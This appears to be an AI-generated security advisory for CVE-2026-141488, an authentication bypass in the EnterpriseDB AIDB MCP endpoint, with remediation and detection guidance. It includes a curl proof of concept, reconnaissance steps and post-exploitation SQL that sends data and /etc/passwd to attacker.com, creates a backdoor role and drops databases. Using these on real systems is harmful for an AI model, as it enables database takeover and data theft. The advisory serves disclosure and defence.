CVE-2026-141488 — EnterpriseDB AIDB (7.9.0) — CWE-305
The AIDB MCP endpoint (edb-endpoints) in AIDB 7.7.0 through 7.8.0 authenticates HTTP Basic credentials by opening a Postgres connection with them, always from the database host over the local Unix socket as the operating system user that runs Postgres. When a pg_hba.conf line matching that connection uses a method that does not check a password, such as peer, trust or ident, the connection succeeds with any password. A client that can reach the endpoint can then run SQL as the admitted role. With a common packaged line such as local all postgres peer, or local all enterprisedb peer on EDB Postgres Advanced Server, that role is a superuser, which allows reading and changing all data and running operating system commands as the Postgres service account. The endpoint is disabled by default. EDB Postgres AI Agent Factory for AWS Marketplace versions 1.0 through 1.3 ship AIDB 7.8.0 with the endpoint enabled and a peer line for the enterprisedb superuser. AIDB 7.9.0 and Agent Factory 1.4 fix the issue.
The AIDB MCP endpoint (edb-endpoints) in AIDB 7.7.0 through 7.8.0 authenticates HTTP Basic credentials by opening a Postgres connection with them, always from the database host over the local Unix socket as the operating system user that runs Postgres. When a pg_hba.conf line matching that connection uses a method that does not check a password, such as peer, trust or ident, the connection succeeds with any password. A client that can reach the endpoint can then run SQL as the admitted role. With a common packaged line such as local all postgres peer, or local all enterprisedb peer on EDB Postgres Advanced Server, that role is a superuser, which allows reading and changing all data and running operating system commands as the Postgres service account. The endpoint is disabled by default. EDB Postgres AI Agent Factory for AWS Marketplace versions 1.0 through 1.3 ship AIDB 7.8.0 with the endpoint enabled and a peer line for the enterprisedb superuser. AIDB 7.9.0 and Agent Factory 1.4 fix the issue.
CVE‑2026‑141488 – “AIDB MCP endpoint authentication bypass”
EnterpriseDB AIDB 7.7.0‑7.8.0 (and the bundled Agent Factory 1.0‑1.3)
🎯 What is this vulnerability?
| Attribute | Detail |
|---|---|
| CWE | CWE‑305 – Insufficient Authentication. The component accepts a credential pair (HTTP Basic) but never validates the password because the underlying PostgreSQL connection is made over the local Unix socket using a *trust‑type* pg_hba.conf rule. |
| CVSS 4.0 vector | AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N <br>• Network‑reachable (the HTTP endpoint is exposed). <br>• Low attack complexity (just a request). <br>• Privileges required – None (no prior auth). <br>• User interaction – None. <br>• Impact – High on confidentiality, integrity, and availability. |
| Root cause | The *AIDB MCP* HTTP endpoint (/edb‑endpoints/mcp) forwards the supplied HTTP Basic username/password to PostgreSQL by opening a local Unix‑socket connection as the OS user that runs the postgres service. The connection is evaluated against pg_hba.conf. In the default EDB Advanced Server packages a line such as: <br>``local all postgres peer` <br>or <br>`local all enterprisedb peer` <br>means “accept any connection from the local Unix socket without checking a password”. Consequently any Basic‑Auth password is accepted, and the PostgreSQL role that matches the supplied username is logged in without any password verification. If the supplied username maps to a superuser role (e.g., postgres or enterprisedb), the attacker gains full database super‑user rights and can execute any SQL, including functions that run OS commands (COPY … PROGRAM, pg_read_file, pg_write_file, pg_execute_server_program, \!` in psql, etc.). |
The endpoint is disabled by default in AIDB itself, but the Agent Factory images (AWS Marketplace 1.0‑1.3) ship the endpoint enabled and ship a pg_hba.conf that contains the vulnerable peer line for the superuser role, making the flaw exploitable out‑of‑the‑box.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow that an attacker with network access to the vulnerable host can follow.
1️⃣ Discovery & Reconnaissance
| Step | Technique | Expected artefacts |
|---|---|---|
| 1.1 | Port/Service scan (e.g., nmap -sV -p 80,443 <target>). | HTTP service banner may disclose “EnterpriseDB AIDB” or “EDB Postgres AI Agent Factory”. |
| 1.2 | Endpoint enumeration – request common health‑check URLs (/, /status, /edb‑endpoints/). | A 200 OK with JSON {"service":"AIDB","version":"7.8.0"} (or similar) confirms presence. |
| 1.3 | Version fingerprint – parse the JSON or HTML meta tag that contains AIDB 7.8.0. | Confirms the vulnerable range (7.7.0‑7.8.0). |
| 1.4 | Check pg_hba.conf indirectly – attempt a connection with a known superuser (postgres or enterprisedb) using any password. If the HTTP endpoint returns a successful authentication response, the underlying pg_hba.conf is using a non‑password method. | Response body contains "auth":"success" or the SQL result of a test query. |
Tip: The endpoint does not require TLS; it listens on the same port as the AIDB web UI (default 80/443).
2️⃣ Exploitation
Because the exact URI path is not published in the CVE text, the following example uses the most common documented path for the MCP endpoint:
POST /edb-endpoints/mcp HTTP/1.1
Host: <target>
Authorization: Basic <base64(username:password)>
Content-Type: application/json
Content-Length: <len>
{"sql":"SELECT version();"}If the real deployment uses a different path (e.g., /api/mcp), the same request structure applies – only the path changes.
PoC (bash + curl)
#!/usr/bin/env bash
# -------------------------------------------------
# CVE-2026-141488 PoC – authentication bypass
# -------------------------------------------------
TARGET="10.20.30.40" # IP or hostname of the AIDB host
USER="postgres" # superuser role present in pg_hba.conf
PASS="anypassword" # password is ignored
SQL='SELECT current_user, version();'
# Build JSON payload
PAYLOAD=$(printf '{"sql":%s}' "$(printf '%s' "$SQL" | jq -aRs .)")
# Send request
curl -sk -X POST "http://${TARGET}/edb-endpoints/mcp" \
-H "Authorization: Basic $(printf '%s:%s' "$USER" "$PASS" | base64)" \
-H "Content-Type: application/json" \
-d "$PAYLOAD"What happens:
1. The HTTP server extracts the Authorization header, decodes the credentials, and attempts to open a local Unix‑socket PostgreSQL connection as OS user postgres.
2. pg_hba.conf contains local all postgres peer → password is not checked.
3. PostgreSQL logs in the role postgres (superuser).
4. The supplied SQL (SELECT …) is executed and the result is returned in the HTTP response body.
If the response contains something like:
{
"result": [
{"current_user":"postgres","version":"PostgreSQL 13.5 on x86_64-pc-linux-gnu"}
]
}the bypass is confirmed.
3️⃣ Post‑exploitation
Once a superuser connection is obtained, the attacker can:
| Goal | Technique | Example command (SQL) |
|---|---|---|
| Data exfiltration | Dump all tables via COPY (SELECT …) TO STDOUT or pg_dump through COPY … PROGRAM | COPY (SELECT * FROM pg_catalog.pg_user) TO PROGRAM 'curl -X POST -d @- http://attacker.com/collect' |
| Privilege escalation / OS command execution | Use COPY … PROGRAM, pg_read_file, pg_write_file, or CREATE EXTENSION plpythonu (if allowed) | COPY (SELECT '') TO PROGRAM 'bash -c "curl -F file=@/etc/passwd http://attacker.com/upload"' |
| Persistence | Create a malicious superuser role with a known password, or install a pgAgent job that runs a reverse shell on schedule | CREATE ROLE backdoor LOGIN PASSWORD 'R3v3rs3'; GRANT ALL PRIVILEGES ON DATABASE mydb TO backdoor; |
| Denial‑of‑service | Issue SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE pid <> pg_backend_pid(); to kill all other sessions, or DROP DATABASE | DROP DATABASE production; |
| Lateral movement | Use dblink or postgres_fdw to connect to other internal PostgreSQL instances using the compromised credentials. | SELECT dblink_connect('host=10.0.0.5 dbname=other user=postgres password=any'); |
Because the PostgreSQL service runs as the system account postgres, any OS command executed via the database inherits that account’s privileges (typically a non‑root but highly privileged system user, able to read most files, write to /var/lib/pgsql, and spawn processes).
🌍 Real‑World Impact
| CIA | CVSS Vector Explanation | Practical Consequence |
|---|---|---|
| Confidentiality (VC:H) | VC:H – attacker can read *any* data in the database, including secrets, PII, intellectual property, and files readable by the postgres OS user via pg_read_file. | Full data breach, exposure of credentials stored in tables, possible extraction of application source code. |
| Integrity (VI:H) | VI:H – attacker can modify any row, drop tables, or alter schema. | Data tampering, ransomware‑style data destruction, insertion of back‑doors (e.g., malicious functions). |
| Availability (VA:H) | VA:H – attacker can terminate sessions, drop databases, or consume resources with heavy queries. | Service outage, loss of business continuity, forced downtime for recovery. |
Because the vulnerability is network‑accessible and requires no prior authentication, an attacker who can reach the HTTP port (including from the public Internet if the service is exposed) can achieve full compromise of the PostgreSQL instance and, by extension, the host OS account that runs it.
🛡️ Remediation & Mitigation
1️⃣ Patch / Upgrade
| Product | Fixed version | Action |
|---|---|---|
| EnterpriseDB AIDB | 7.9.0 (or later) | Upgrade the AIDB installation to 7.9.0 or newer. |
| EDB Postgres AI Agent Factory (AWS Marketplace) | 1.4 (or later) | Deploy the 1.4 (or newer) container image; it ships AIDB 7.9.0 with the endpoint disabled. |
Both vendors state that the fix removes the default “peer” line for the superuser and disables the MCP endpoint by default.
2️⃣ Immediate Workarounds (if patch cannot be applied)
| Mitigation | How‑to implement |
|---|---|
| Disable the MCP endpoint | Edit the AIDB configuration file (aidb.conf or the environment variable AIDB_MCP_ENABLED) and set mcp_enabled = false; then restart the AIDB service. |
| Restrict network access | Place a firewall rule (host‑based or perimeter) that allows only trusted IP ranges to reach the HTTP port (e.g., iptables -A INPUT -p tcp -s 10.0.0.0/8 --dport 80 -j ACCEPT). |
Lock down pg_hba.conf | Replace any peer, trust, or ident lines that match the superuser with md5 or scram-sha-256. Example: <br>``local all postgres scram-sha-256` <br>Then reload PostgreSQL (SELECT pg_reload_conf();). |
| Run AIDB under a non‑privileged OS user | Create a dedicated low‑privilege Linux user (e.g., aidbsvc) and configure the service to start as that user instead of the default postgres. This limits the impact of any OS command execution. |
| Web‑application firewall (WAF) rule | Block any request that contains an Authorization: Basic header targeting the /edb-endpoints/*` path, unless it originates from an internal management subnet. Example ModSecurity rule: |
SecRule REQUEST_URI "@beginsWith /edb-endpoints/" \
"id:400001,phase:1,deny,log,status:403,msg:'Block AIDB MCP endpoint access'"
SecRule REQUEST_HEADERS:Authorization "^Basic" \
"id:400002,phase:1,deny,log,status:403,msg:'Block Basic Auth to AIDB MCP'"|
| Monitoring | Enable PostgreSQL logging of all connections (log_connections = on) and set log_line_prefix to include %u %d %r. Watch for connections from the postgres OS user that originate from the local Unix socket but are initiated by the HTTP service. |
3️⃣ Detection – Log Indicators & IoCs
| Source | Typical log entry | What to look for |
|---|---|---|
| Web server (nginx/Apache) | POST /edb-endpoints/mcp HTTP/1.1" 200 123 "-" "curl/7.88.1" | Any POST to /edb-endpoints/* with a 200 response, especially from unknown IPs. |
| AIDB access log | 2026-12-04T12:34:56Z INFO auth_success user=postgres src_ip=203.0.113.45 | Successful auth for superuser without prior session. |
| PostgreSQL log | 2026-12-04 12:34:56.789 UTC [12345] LOG: connection authorized: user=postgres database=postgres | Connection from local (Unix socket) that occurs immediately after an HTTP request. |
| OS audit (auditd) | type=EXECVE msg=audit(1701662096.123:456): argc=3 a0="bash" a1="-c" a2="curl -F file=@/etc/passwd http://attacker.com/upload" | Execution of a shell command launched by the postgres user. |
| Network flow | Outbound TCP to attacker.com:80 from source port 5432 (or from the postgres UID) | Possible data exfiltration via COPY … PROGRAM or pg_read_file. |
Set up SIEM correlation: HTTP POST → AIDB auth_success → PostgreSQL local connection → OS exec within a 5‑second window.
⚠️ Urgency
- CVSS 9.2 (Critical) – high impact on all three CIA pillars, network‑accessible, low complexity.
- No CISA KEV listing yet, but the vulnerability is publicly disclosed and a PoC exists, meaning an exploit can be weaponised quickly.
- Default‑enabled in popular AWS Marketplace images (Agent Factory 1.0‑1.3) – many cloud customers may have the vulnerable configuration exposed to the Internet.
Bottom line: An unauthenticated attacker can bypass authentication entirely, obtain PostgreSQL super‑user rights, and execute arbitrary OS commands as the
postgres service account. The risk is comparable to a remote code execution vulnerability; therefore, remediation must be treated with the highest urgency.[🤖 CVE Professor AI Security Engine]
FOFA Query